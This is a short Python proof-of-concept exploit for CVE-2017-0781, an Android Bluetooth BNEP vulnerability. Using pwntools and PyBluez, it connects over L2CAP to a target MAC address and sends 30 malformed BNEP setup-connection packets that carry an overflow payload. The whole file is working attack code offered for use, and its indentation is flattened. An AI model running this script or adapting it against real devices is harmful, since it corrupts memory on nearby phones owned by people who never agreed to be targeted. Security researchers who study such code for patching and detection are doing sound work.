from pwn import *
import bluetooth
if not 'TARGET' in args:
log.info('Usage: python CVE-2017-0781.py TARGET=XX:XX:XX:XX:XX:XX')
exit()
target = args['TARGET']
count = 30 # Amount of packets to send
port = 0xf # BT_PSM_BNEP
context.arch = 'arm'
BNEP_FRAME_CONTROL = 0x01
BNEP_SETUP_CONNECTION_REQUEST_MSG = 0x01
def set_bnep_header_extension_bit(bnep_header_type):
"""
If the extension flag is equal to 0x1 then
one or more extension headers follows the BNEP
header; If extension flag is equal to 0x0 then the
BNEP payload follows the BNEP header.
"""
return bnep_header_type | 128
def bnep_control_packet(control_type, control_packet):
return p8(control_type) + control_packet
def packet(overflow):
pkt = ''
pkt += p8(set_bnep_header_extension_bit(BNEP_FRAME_CONTROL))
pkt += bnep_control_packet(BNEP_SETUP_CONNECTION_REQUEST_MSG, '\x00' + overflow)
return pkt
bad_packet = packet('AAAABBBB')
log.info('Connecting...')
sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)
bluetooth.set_l2cap_mtu(sock, 1500)
sock.connect((target, port))
log.info('Sending BNEP packets...')
for i in range(count):
sock.send(bad_packet)
log.success('Done.')
sock.close()
